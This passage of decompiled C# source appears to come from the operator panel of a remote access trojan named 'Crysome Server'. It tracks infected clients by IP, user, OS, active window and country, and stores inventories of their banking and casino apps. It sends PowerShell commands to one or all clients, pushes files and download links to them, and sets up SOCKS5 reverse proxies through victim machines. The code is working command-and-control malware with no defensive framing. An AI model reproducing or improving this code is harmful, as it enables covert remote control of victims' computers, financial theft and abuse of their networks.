clientInfo2.MuteUntil = store.MutedIPs[address];
}
StoredClientRecord storedClientRecord = store.FindClient(address);
if (storedClientRecord != null)
{
if (string.IsNullOrEmpty(clientInfo2.Notes) && !string.IsNullOrEmpty(storedClientRecord.Notes))
{
clientInfo2.Notes = storedClientRecord.Notes;
}
if (!string.IsNullOrEmpty(storedClientRecord.AppsInventoryJson) || !string.IsNullOrEmpty(storedClientRecord.BankInventoryJson))
{
clientInfo2.ApplyInventoryJson(storedClientRecord.AppsInventoryJson, storedClientRecord.BankInventoryJson, storedClientRecord.CasinoInventoryJson);
}
}
allClients.Add(clientInfo2);
_pendingUpdates = true;
ClientCount = allClients.Count;
if (!clientInfo2.IsMuted && store.Settings.NotifyConnect)
{
try
{
SystemSounds.Asterisk.Play();
}
catch
{
}
}
Log("Connected: " + address, "CONN");
RunOnConnectTasks(e.Client);
}
}
}, Array.Empty<object>());
}
private void Server_ClientDisconnected(object sender, ClientEventArgs e)
{
if (_reverseProxyState.TryGetValue(e.Client, out var value))
{
value.Running = false;
try
{
value.Listener?.Stop();
}
catch
{
}
KeyValuePair<int, TcpClient>[] array = value.Connections.ToArray();
for (int i = 0; i < array.Length; i++)
{
KeyValuePair<int, TcpClient> keyValuePair = array[i];
try
{
keyValuePair.Value?.Close();
}
catch
{
}
}
_reverseProxyState.Remove(e.Client);
}
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == e.Client);
if (clientInfo != null)
{
clientInfo.ProxyActive = false;
store.UpsertClient(new StoredClientRecord
{
Address = clientInfo.Address,
Port = clientInfo.Port,
UserName = (clientInfo.Username ?? ""),
ComputerName = (clientInfo.ComputerName ?? ""),
OS = (clientInfo.OS ?? ""),
CountryCode = (clientInfo.CountryCode ?? ""),
Group = (clientInfo.Group ?? ""),
Notes = (clientInfo.Notes ?? ""),
IsPinned = clientInfo.IsPinned,
LastSeen = DateTime.Now,
AppsInventoryJson = (clientInfo.AppsInventoryJson ?? ""),
BankInventoryJson = (clientInfo.BankInventoryJson ?? ""),
CasinoInventoryJson = (clientInfo.CasinoInventoryJson ?? "")
});
store.SaveClients();
allClients.Remove(clientInfo);
_pendingUpdates = true;
ClientCount = allClients.Count;
if (!clientInfo.IsMuted && store.Settings.NotifyDisconnect)
{
try
{
SystemSounds.Hand.Play();
}
catch
{
}
}
Log("Disconnected: " + clientInfo.Address, "CONN");
}
}, Array.Empty<object>());
}
private void HandleClientInfo(CrysomeClient sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Expected O, but got Unknown
ClientInfoResponsePacket p = (ClientInfoResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
//IL_0433: Unknown result type (might be due to invalid IL or missing references)
//IL_043d: Expected O, but got Unknown
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
string addr = sender.RemoteAddress?.Address?.ToString() ?? "?";
int port = sender.RemoteAddress?.Port ?? 0;
if (clientInfo == null)
{
clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port);
}
if (clientInfo != null)
{
clientInfo.Owner = sender;
}
else
{
clientInfo = new ClientInfo
{
Owner = sender,
SessionId = Guid.NewGuid().ToString("N"),
Address = addr,
Port = port,
ConnectTime = DateTime.Now
};
string address = clientInfo.Address;
if (store.Notes.ContainsKey(address))
{
clientInfo.Notes = store.Notes[address];
}
if (store.PinnedIPs.Contains(address))
{
clientInfo.IsPinned = true;
}
if (store.AnnounceIPs.Contains(address))
{
clientInfo.IsAnnounce = true;
}
allClients.Add(clientInfo);
if (store.Settings.NotifyConnect)
{
try
{
SystemSounds.Asterisk.Play();
}
catch
{
}
}
Log("Connected: " + clientInfo.Address, "CONN");
}
bool flag = false;
if (clientInfo.Identifier != (p.Identifier ?? ""))
{
clientInfo.Identifier = p.Identifier ?? "";
flag = true;
}
if (clientInfo.Username != (p.Username ?? ""))
{
clientInfo.Username = p.Username ?? "";
flag = true;
}
if (clientInfo.ComputerName != (p.ComputerName ?? ""))
{
clientInfo.ComputerName = p.ComputerName ?? "";
flag = true;
}
if (clientInfo.OS != (p.OS ?? ""))
{
clientInfo.OS = p.OS ?? "";
flag = true;
}
if (clientInfo.ActiveWindow != (p.ActiveWindow ?? ""))
{
clientInfo.ActiveWindow = p.ActiveWindow ?? "";
flag = true;
}
if (clientInfo.Uptime != (p.Uptime ?? ""))
{
clientInfo.Uptime = p.Uptime ?? "";
flag = true;
}
string text = (p.CountryCode ?? "").Trim().ToUpperInvariant();
if (clientInfo.CountryCode != text)
{
clientInfo.CountryCode = text;
flag = true;
}
if (clientInfo.Group != (p.Group ?? ""))
{
clientInfo.Group = p.Group ?? "";
flag = true;
}
if (clientInfo.GPU != (p.GPU ?? ""))
{
clientInfo.GPU = p.GPU ?? "";
flag = true;
}
if (flag)
{
_pendingUpdates = true;
}
ClientCount = allClients.Count;
try
{
sender.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64));
}
catch
{
}
}, Array.Empty<object>());
}
private void HandleSystemInfo(CrysomeClient sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Expected O, but got Unknown
GetSystemInfoResponsePacket p = (GetSystemInfoResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
if (clientInfo != null)
{
clientInfo.Identifier = p.Identifier ?? "";
clientInfo.Username = p.Username ?? "";
clientInfo.ComputerName = p.ComputerName ?? "";
clientInfo.OS = p.OS ?? "";
}
}, Array.Empty<object>());
}
private void HandlePingResponse(CrysomeClient sender, IPacket packet)
{
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
//IL_001b: Expected O, but got Unknown
PingResponsePacket val = (PingResponsePacket)packet;
long tickCount = Environment.TickCount64;
int rtt = (int)(tickCount - val.ServerTick);
if (rtt < 0 || rtt > 30000)
{
return;
}
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.AddPingSample(rtt);
}, Array.Empty<object>());
}
private void HandleCommandResponse(CrysomeClient sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Expected O, but got Unknown
RunCommandResponsePacket p = (RunCommandResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
if (_shellOutputCallbacks.TryGetValue(sender, out var value))
{
_shellOutputCallbacks.Remove(sender);
value(p.Output ?? "");
}
else
{
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
string text = ((clientInfo != null) ? clientInfo.Address : "?");
Log("CMD [" + text + "]: " + (p.Output ?? "").Substring(0, Math.Min((p.Output ?? "").Length, 500)), "CMD");
}
}, Array.Empty<object>());
}
public void SendShellCommand(ClientInfo client, string command, Action<string> onOutput)
{
//IL_002b: Unknown result type (might be due to invalid IL or missing references)
//IL_0035: Expected O, but got Unknown
if (client?.Owner == null || onOutput == null)
{
return;
}
_shellOutputCallbacks[client.Owner] = onOutput;
try
{
client.Owner.SendPacket((IPacket)new RunCommandRequestPacket(command));
}
catch
{
_shellOutputCallbacks.Remove(client.Owner);
}
}
private void HandleFileResponse(CrysomeClient sender, IPacket packet)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0019: Expected O, but got Unknown
FileTransferResponsePacket p = (FileTransferResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Log("File result: " + p.Status, "FILE");
}, Array.Empty<object>());
}
private void HandleFtSack(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
FtSackPacket val = (FtSackPacket)packet;
if (_activeSenders.TryGetValue(val.TransferId, out var value))
{
value.HandleSack(val);
}
}
private void HandleFtDone(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
FtDonePacket val = (FtDonePacket)packet;
if (_activeSenders.TryRemove(val.TransferId, out var value))
{
value.HandleDone(val);
}
}
private void HandleDirectLinkResponse(CrysomeClient sender, IPacket packet)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0019: Expected O, but got Unknown
DirectLinkResponsePacket p = (DirectLinkResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Log("DirectLink result: " + p.Status, "FILE");
}, Array.Empty<object>());
}
private void InfoTimer_Tick(object sender, EventArgs e)
{
//IL_0083: Unknown result type (might be due to invalid IL or missing references)
//IL_008d: Expected O, but got Unknown
//IL_0099: Unknown result type (might be due to invalid IL or missing references)
//IL_00a3: Expected O, but got Unknown
if (server == null || !server.Listening)
{
return;
}
try
{
int count = allClients.Count;
if (count == 0)
{
return;
}
int num = 15;
if (infoRobin >= count)
{
infoRobin = 0;
}
int num2 = Math.Min(infoRobin + num, count);
for (int i = infoRobin; i < num2; i++)
{
ClientInfo clientInfo = allClients[i];
if (clientInfo.Owner != null && clientInfo.Owner.IsConnected)
{
try
{
clientInfo.Owner.SendPacket((IPacket)new ClientInfoRequestPacket());
clientInfo.Owner.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64));
}
catch
{
}
}
}
infoRobin = ((num2 < count) ? num2 : 0);
ClientCount = allClients.Count;
}
catch
{
}
}
private void RefreshClientList()
{
_pendingUpdates = true;
}
private void ProcessClientUpdates(object sender, EventArgs e)
{
if (!_pendingUpdates)
{
return;
}
_pendingUpdates = false;
try
{
IEnumerable<ClientInfo> source = allClients.AsEnumerable();
if (!string.IsNullOrEmpty(_filterCountry) && _filterCountry != "All")
{
source = source.Where((ClientInfo c) => string.Equals(c.CountryCode, _filterCountry, StringComparison.OrdinalIgnoreCase));
}
if (!string.IsNullOrEmpty(_filterOS) && _filterOS != "All")
{
source = source.Where((ClientInfo c) => (c.OS ?? "").IndexOf(_filterOS, StringComparison.OrdinalIgnoreCase) >= 0);
}
if (!string.IsNullOrEmpty(_filterGroup) && _filterGroup != "All")
{
source = source.Where((ClientInfo c) => string.Equals(c.Group ?? "", _filterGroup, StringComparison.OrdinalIgnoreCase));
}
if (!string.IsNullOrEmpty(_filterPing) && _filterPing != "All")
{
switch (_filterPing)
{
case "Good (<100ms)":
source = source.Where((ClientInfo c) => c.PingValue > 0 && c.PingValue < 100);
break;
case "Medium (<300ms)":
source = source.Where((ClientInfo c) => c.PingValue >= 100 && c.PingValue < 300);
break;
case "High (>300ms)":
source = source.Where((ClientInfo c) => c.PingValue >= 300);
break;
}
}
UniqueCountriesCount = (from c in allClients
select c.CountryCode ?? "" into s
where s.Length > 0
select s).Distinct().Count();
List<int> list = (from c in allClients
where c.PingValue > 0
select c.PingValue).ToList();
AveragePing = ((list.Count > 0) ? ((int)list.Average()) : 0);
ActiveWindowsCount = allClients.Count((ClientInfo c) => !string.IsNullOrWhiteSpace(c.ActiveWindow));
List<string> second = (from x in (from c in allClients
select c.Group ?? "" into s
where s.Length > 0
select s).Distinct()
orderby x
select x).ToList();
string filterGroup = _filterGroup;
_isRefreshingClientList = true;
SyncCollection(FilterGroupOptions, new List<string> { "All" }.Concat(second).ToList());
_filterGroup = (FilterGroupOptions.Contains(filterGroup) ? filterGroup : "All");
OnPropertyChanged("FilterGroup");
_isRefreshingClientList = false;
List<ClientInfo> list2 = source.OrderByDescending((ClientInfo c) => c.IsPinned).ToList();
int num = 0;
foreach (ClientInfo item in list2)
{
int num2 = Clients.IndexOf(item);
if (num2 < 0)
{
Clients.Insert(num, item);
}
else if (num2 != num)
{
Clients.Move(num2, num);
}
num++;
}
while (Clients.Count > list2.Count)
{
Clients.RemoveAt(Clients.Count - 1);
}
UpdateFilterOptionsInternal();
}
catch
{
}
}
private void UpdateFilterOptions()
{
_pendingUpdates = true;
}
private void UpdateFilterOptionsInternal()
{
HashSet<string> currentCountries = new HashSet<string>(FilterCountryOptions);
HashSet<string> currentOSes = new HashSet<string>(FilterOSOptions);
List<string> list = (from x in (from c in allClients
select (c.CountryCode ?? "").Trim() into s
where s.Length > 0
select s).Distinct()
orderby x
select x).ToList();
List<string> list2 = (from x in (from c in allClients
select (c.OS ?? "").Trim() into s
where s.Length > 0
select s).Distinct()
orderby x
select x).ToList();
bool flag = list.Count + 1 != currentCountries.Count || list.Any((string c) => !currentCountries.Contains(c));
bool flag2 = list2.Count + 1 != currentOSes.Count || list2.Any((string o) => !currentOSes.Contains(o));
bool isRefreshingClientList = _isRefreshingClientList;
_isRefreshingClientList = true;
try
{
if (flag)
{
string filterCountry = _filterCountry;
SyncCollection(AvailableCountries, list);
SyncCollection(FilterCountryOptions, new List<string> { "All" }.Concat(list).ToList());
_filterCountry = (FilterCountryOptions.Contains(filterCountry) ? filterCountry : "All");
OnPropertyChanged("FilterCountry");
}
if (flag2)
{
string filterOS = _filterOS;
SyncCollection(AvailableOSes, list2);
SyncCollection(FilterOSOptions, new List<string> { "All" }.Concat(list2).ToList());
_filterOS = (FilterOSOptions.Contains(filterOS) ? filterOS : "All");
OnPropertyChanged("FilterOS");
}
}
finally
{
_isRefreshingClientList = isRefreshingClientList;
}
}
private static void SyncCollection(ObservableCollection<string> target, List<string> source)
{
target.Clear();
foreach (string item in source)
{
target.Add(item);
}
}
private void DoAddBlocklist()
{
string text = (NewBlocklistIP ?? "").Trim();
if (string.IsNullOrEmpty(text))
{
return;
}
if (store.BlockedIPs.Contains(text))
{
EnqueueStatus("Already blocked");
return;
}
store.BlockedIPs.Add(text);
store.SaveBlocked();
BlockedIPsList.Clear();
foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
{
BlockedIPsList.Add(item);
}
NewBlocklistIP = "";
Log("Added to blocklist: " + text, "SYS");
EnqueueStatus("Blocked " + text);
}
private void DoRemoveBlocklist(string ip)
{
if (!string.IsNullOrEmpty(ip))
{
store.BlockedIPs.Remove(ip);
store.SaveBlocked();
BlockedIPsList.Remove(ip);
Log("Removed from blocklist: " + ip, "SYS");
}
}
private void DoRemoveBlocklist()
{
string blocklistSelectedIP = BlocklistSelectedIP;
if (string.IsNullOrEmpty(blocklistSelectedIP))
{
EnqueueStatus("Select an IP to unblock");
}
else
{
DoRemoveBlocklist(blocklistSelectedIP);
}
}
private void DoBlockSelectedClient()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo == null)
{
EnqueueStatus("Select a client to block");
return;
}
string address = clientInfo.Address;
if (store.BlockedIPs.Contains(address))
{
EnqueueStatus("Already blocked");
return;
}
store.BlockedIPs.Add(address);
store.SaveBlocked();
BlockedIPsList.Clear();
foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
{
BlockedIPsList.Add(item);
}
try
{
server?.DisconnectClient(clientInfo.Owner);
}
catch
{
}
Log("Blocked and disconnected: " + address, "SYS");
EnqueueStatus("Blocked " + address);
}
private IEnumerable<ClientInfo> GetSelectedOrAll(bool all)
{
if (all)
{
return allClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected);
}
return _selectedClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected);
}
private void DoSendCommand(bool all)
{
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
//IL_0046: Expected O, but got Unknown
string text = PromptInput("Send PowerShell Command", "Enter command:");
if (string.IsNullOrEmpty(text))
{
return;
}
foreach (ClientInfo item in GetSelectedOrAll(all))
{
try
{
item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(text));
Log("Sent cmd to " + item.Address + ": " + text, "CMD");
}
catch
{
}
}
_lastCmd = text;
}
private async void DoSendFile(bool all)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "All files|*.*"
};
if (openFileDialog.ShowDialog() != true)
{
return;
}
string path = openFileDialog.FileName;
byte[] data;
try
{
data = await Task.Run(() => File.ReadAllBytes(path));
}
catch (Exception ex)
{
Exception ex2 = ex;
Exception ex3 = ex2;
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
Log("Send file error: " + ex3.Message, "FILE");
});
return;
}
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
//IL_0106: Unknown result type (might be due to invalid IL or missing references)
//IL_010d: Expected O, but got Unknown
long num = (long)store.Settings.MaxSendFileSizeMB * 1024L * 1024;
if (num > 0 && data.Length > num)
{
Log("File too large (limit " + store.Settings.MaxSendFileSizeMB + " MB)", "FILE");
}
else
{
string name = Path.GetFileName(path);
int num2 = Math.Max(1, (data.Length + 1200 - 1) / 1200);
foreach (ClientInfo c in GetSelectedOrAll(all))
{
try
{
FtSender val = new FtSender(c.Owner, name, data);
val.OnDone = delegate(uint id, bool ok, string msg)
{
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Log((ok ? "File delivered" : "File failed") + " [" + name + "] → " + c.Address + ": " + msg, "FILE");
}, Array.Empty<object>());
};
_activeSenders[val.TransferId] = val;
val.Start();
Log("Sending [" + name + "] to " + c.Address + " (" + num2 + " chunks × " + 1200 + " B)", "FILE");
}
catch (Exception ex4)
{
Log("Send file error: " + ex4.Message, "FILE");
}
}
_lastFilePath = path;
}
});
}
private void DoDirectLink(bool all)
{
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
//IL_0046: Expected O, but got Unknown
string text = PromptInput("Direct Link", "Enter URL:");
if (string.IsNullOrEmpty(text))
{
return;
}
foreach (ClientInfo item in GetSelectedOrAll(all))
{
try
{
item.Owner.SendPacket((IPacket)new DirectLinkRequestPacket(text));
Log("Sent link to " + item.Address + ": " + text, "FILE");
}
catch
{
}
}
}
private void DoCopySummary()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
Clipboard.SetText(clientInfo.Address + "\t" + clientInfo.Username + "\t" + clientInfo.OS + "\t" + clientInfo.PingDisplay + "\t" + clientInfo.Uptime);
Log("Copied summary", "SYS");
}
}
private void DoPinToTop()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
string address = clientInfo.Address;
if (store.PinnedIPs.Contains(address))
{
store.PinnedIPs.Remove(address);
clientInfo.IsPinned = false;
}
else
{
store.PinnedIPs.Add(address);
clientInfo.IsPinned = true;
}
store.SavePinned();
RefreshClientList();
}
}
private void DoExportSelection()
{
List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
if (list == null || list.Count == 0)
{
return;
}
SaveFileDialog saveFileDialog = new SaveFileDialog
{
Filter = "CSV|*.csv",
FileName = "export.csv"
};
if (saveFileDialog.ShowDialog() != true)
{
return;
}
List<string> list2 = new List<string> { "IP\tUser\tOS\tPing\tUptime\tGroup\tNotes" };
foreach (ClientInfo item in list)
{
list2.Add(item.Address + "\t" + item.Username + "\t" + item.OS + "\t" + item.PingDisplay + "\t" + item.Uptime + "\t" + item.Group + "\t" + item.Notes);
}
File.WriteAllLines(saveFileDialog.FileName, list2);
Log("Exported to " + saveFileDialog.FileName, "SYS");
}
private void DoMute30()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
string address = clientInfo.Address;
clientInfo.IsMuted = true;
clientInfo.MuteUntil = DateTime.Now.AddMinutes(30.0);
store.MutedIPs[address] = SelectedClient.MuteUntil;
store.SaveMuted();
Log("Muted " + address + " for 30 min", "SYS");
}
}
private void DoQuickHealth()
{
//IL_0021: Unknown result type (might be due to invalid IL or missing references)
//IL_002b: Expected O, but got Unknown
foreach (ClientInfo item in GetSelectedOrAll(all: false))
{
try
{
item.Owner.SendPacket((IPacket)new RunCommandRequestPacket("Get-CimInstance Win32_OperatingSystem | Select-Object Caption,LastBootUpTime"));
}
catch
{
}
}
}
private void DoRepeatLastCmd()
{
//IL_003b: Unknown result type (might be due to invalid IL or missing references)
//IL_0045: Expected O, but got Unknown
if (string.IsNullOrEmpty(_lastCmd))
{
EnqueueStatus("No previous command");
return;
}
foreach (ClientInfo item in GetSelectedOrAll(all: false))
{
try
{
item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(_lastCmd));
}
catch
{
}
}
}
private async void DoRepeatLastFile()
{
if (string.IsNullOrEmpty(_lastFilePath) || !File.Exists(_lastFilePath))
{
EnqueueStatus("No previous file");
return;
}
string path = _lastFilePath;
byte[] data;
try
{
data = await Task.Run(() => File.ReadAllBytes(path));
}
catch (Exception ex)
{
Exception ex2 = ex;
Exception ex3 = ex2;
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
Log("Repeat file error: " + ex3.Message, "FILE");
});
return;
}
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
//IL_0034: Unknown result type (might be due to invalid IL or missing references)
//IL_003e: Expected O, but got Unknown
string fileName = Path.GetFileName(path);
foreach (ClientInfo item in GetSelectedOrAll(all: false))
{
try
{
item.Owner.SendPacket((IPacket)new FileTransferRequestPacket(fileName, data));
}
catch
{
}
}
});
}
private void DoAnnounceToggle()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
string address = clientInfo.Address;
if (store.AnnounceIPs.Contains(address))
{
store.AnnounceIPs.Remove(address);
clientInfo.IsAnnounce = false;
}
else
{
store.AnnounceIPs.Add(address);
clientInfo.IsAnnounce = true;
}
store.SaveAnnounce();
}
}
private void DoEditNote()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
string text = PromptInput("Note for " + clientInfo.Address, "Enter note:", clientInfo.Notes);
if (text != null)
{
clientInfo.Notes = text;
store.Notes[clientInfo.Address] = text;
store.SaveNotes();
}
}
}
private void DoSocks5Proxy()
{
//IL_0179: Unknown result type (might be due to invalid IL or missing references)
//IL_0183: Expected O, but got Unknown
//IL_0292: Unknown result type (might be due to invalid IL or missing references)
//IL_0297: Unknown result type (might be due to invalid IL or missing references)
//IL_02af: Expected O, but got Unknown
List<ClientInfo> list = GetSelectedOrAll(all: false).ToList();
if (!list.Any())
{
EnqueueStatus("No client selected");
return;
}
int num = 0;
_proxyResultsForModal.Clear();
foreach (ClientInfo c in list)
{
try
{
if (c.Owner == null)
{
continue;
}
if (_reverseProxyState.TryGetValue(c.Owner, out var value))
{
StopReverseProxy(c.Owner, value);
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
c.ProxyActive = false;
}, Array.Empty<object>());
Log("Stopping reverse proxy on " + c.Address, "PROXY");
continue;
}
TcpListener tcpListener = new TcpListener(IPAddress.Loopback, 0);
tcpListener.Start();
int port = ((IPEndPoint)tcpListener.LocalEndpoint).Port;
ReverseProxyState state = new ReverseProxyState
{
Listener = tcpListener,
Owner = c.Owner,
Running = true
};
_reverseProxyState[c.Owner] = state;
c.Owner.SendPacket((IPacket)new StartReverseProxyPacket(port));
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
c.ProxyActive = true;
}, Array.Empty<object>());
Log("Reverse proxy on " + c.Address + " -> 127.0.0.1:" + port, "PROXY");
_proxyResultsForModal.Add(("127.0.0.1", port.ToString()));
num++;
CrysomeClient owner = c.Owner;
Task.Run(delegate
{
ReverseProxyAcceptLoop(state, owner);
});
}
catch (Exception ex)
{
Log("Proxy error on " + c.Address + ": " + ex.Message, "PROXY");
}
}
if (num > 0)
{
_proxyStartCount = num;
DispatcherTimer proxyModalTimer = _proxyModalTimer;
if (proxyModalTimer != null)
{
proxyModalTimer.Stop();
}
_proxyModalTimer = new DispatcherTimer
{
Interval = TimeSpan.FromMilliseconds(500L, 0L)
};
_proxyModalTimer.Tick += delegate
{
_proxyModalTimer.Stop();
ShowProxyResultsModal();
};
_proxyModalTimer.Start();
}
}
private void StopReverseProxy(CrysomeClient owner, ReverseProxyState state)
{
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
//IL_0068: Expected O, but got Unknown
//IL_0090: Unknown result type (might be due to invalid IL or missing references)
//IL_009a: Expected O, but got Unknown
state.Running = false;
try
{
state.Listener?.Stop();
}
catch
{
}
state.Listener = null;
KeyValuePair<int, TcpClient>[] array = state.Connections.ToArray();
for (int i = 0; i < array.Length; i++)
{
KeyValuePair<int, TcpClient> keyValuePair = array[i];
try
{
keyValuePair.Value?.Close();
}
catch
{
}
try
{
owner.SendPacket((IPacket)new ReverseProxyEndPacket(keyValuePair.Key));
}
catch
{
}
}
state.Connections.Clear();
_reverseProxyState.Remove(owner);
try
{
owner.SendPacket((IPacket)new StopProxyRequestPacket());
}
catch
{
}
}
private void ReverseProxyAcceptLoop(ReverseProxyState state, CrysomeClient owner)
{
//IL_00ba: Unknown result type (might be due to invalid IL or missing references)
//IL_00c4: Expected O, but got Unknown
try
{
while (state.Running && state.Listener != null)
{
TcpClient browser;
try
{
browser = state.Listener.AcceptTcpClient();
}
catch
{
break;
}
if (!state.Running)
{
browser.Close();
break;
}
int connId = Interlocked.Increment(ref state.NextConnectionId);
state.Connections[connId] = browser;
try
{
owner.SendPacket((IPacket)new ReverseProxyStartPacket(connId));
}
catch
{
browser.Close();
state.Connections.TryRemove(connId, out var _);
continue;
}
NetworkStream stream = browser.GetStream();
byte[] buf = new byte[8192];
Task.Run(delegate
{
//IL_009e: Unknown result type (might be due to invalid IL or missing references)
//IL_00a8: Expected O, but got Unknown
//IL_0028: Unknown result type (might be due to invalid IL or missing references)
//IL_0032: Expected O, but got Unknown
try
{
int num;
while (state.Running && (num = stream.Read(buf, 0, buf.Length)) > 0)
{
byte[] array = new byte[num];
Array.Copy(buf, array, num);
try
{
owner.SendPacket((IPacket)new ReverseProxyDataPacket(connId, array));
}
catch
{
break;
}
}
}
catch
{
}
finally
{
state.Connections.TryRemove(connId, out var _);
try
{
owner.SendPacket((IPacket)new ReverseProxyEndPacket(connId));
}
catch
{
}
try
{
browser.Close();
}
catch
{
}
}
});
}
}
catch
{
}
}
private void HandleReverseProxyData(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
//IL_007a: Unknown result type (might be due to invalid IL or missing references)
//IL_0084: Expected O, but got Unknown
ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet;
if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryGetValue(val.ConnectionId, out var value2))
{
return;
}
try
{
NetworkStream stream = value2.GetStream();
if (val.Data != null && val.Data.Length != 0)
{
stream.Write(val.Data, 0, val.Data.Length);
}
}
catch
{
value.Connections.TryRemove(val.ConnectionId, out var _);
try
{
sender.SendPacket((IPacket)new ReverseProxyEndPacket(val.ConnectionId));
}
catch
{
}
try
{
value2.Close();
}
catch
{
}
}
}
private void HandleReverseProxyEnd(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet;
if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryRemove(val.ConnectionId, out var value2))
{
return;
}
try
{
value2.Close();
}
catch
{
}
}
private static string ParsePortFromProxyMessage(string message)
{
if (string.IsNullOrEmpty(message))
{
return "?";
}
Match match = Regex.Match(message, "port\\s+(\\d+)", RegexOptions.IgnoreCase);
if (!match.Success)
{
return "?";
}
return match.Groups[1].Value;
}
private void ShowProxyResultsModal()
{
DispatcherTimer proxyModalTimer = _proxyModalTimer;
if (proxyModalTimer != null)
{
proxyModalTimer.Stop();
}
_proxyModalTimer = null;
_proxyStartCount = 0;
if (_proxyResultsForModal.Count == 0)
{
return;
}
List<(string Address, string Port)> copy = new List<(string, string)>(_proxyResultsForModal);
_proxyResultsForModal.Clear();
string title = ((copy.Count == 1) ? "SOCKS5 Proxy ready" : "SOCKS5 Proxies ready");
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendLine("Use these addresses in your browser or proxy settings (SOCKS5).");
stringBuilder.AppendLine("Use 127.0.0.1:port on this machine (where Crysome Server runs).");
stringBuilder.AppendLine();
foreach (var (text, text2) in copy)
{
stringBuilder.AppendLine(text + ":" + text2);
}
string body = stringBuilder.ToString().TrimEnd();
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Window obj = new Window
{
Title = title,
Width = 420.0,
MinWidth = 360.0,
Height = ((copy.Count == 1) ? 220 : Math.Min(400, 180 + copy.Count * 28)),
WindowStartupLocation = WindowStartupLocation.CenterOwner,
Owner = Application.Current.MainWindow,
ResizeMode = ResizeMode.CanResize,
Background = Brushes.Black
};
StackPanel stackPanel = new StackPanel
{
Margin = new Thickness(16.0)
};
stackPanel.Children.Add(new TextBlock
{
Text = body,
TextWrapping = TextWrapping.Wrap,
Foreground = Brushes.White,
FontFamily = new FontFamily("Consolas"),
FontSize = 13.0,
Margin = new Thickness(0.0, 0.0, 0.0, 12.0)
});
Button button = new Button
{
Content = "Copy to clipboard",
Width = 140.0,
HorizontalAlignment = HorizontalAlignment.Left
};
button.Click += delegate
{
try
{
Clipboard.SetText(body);
}
catch
{
}
};
stackPanel.Children.Add(button);
obj.Content = stackPanel;
obj.Show();
}, Array.Empty<object>());
}
private void HandleProxyStatus(object sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
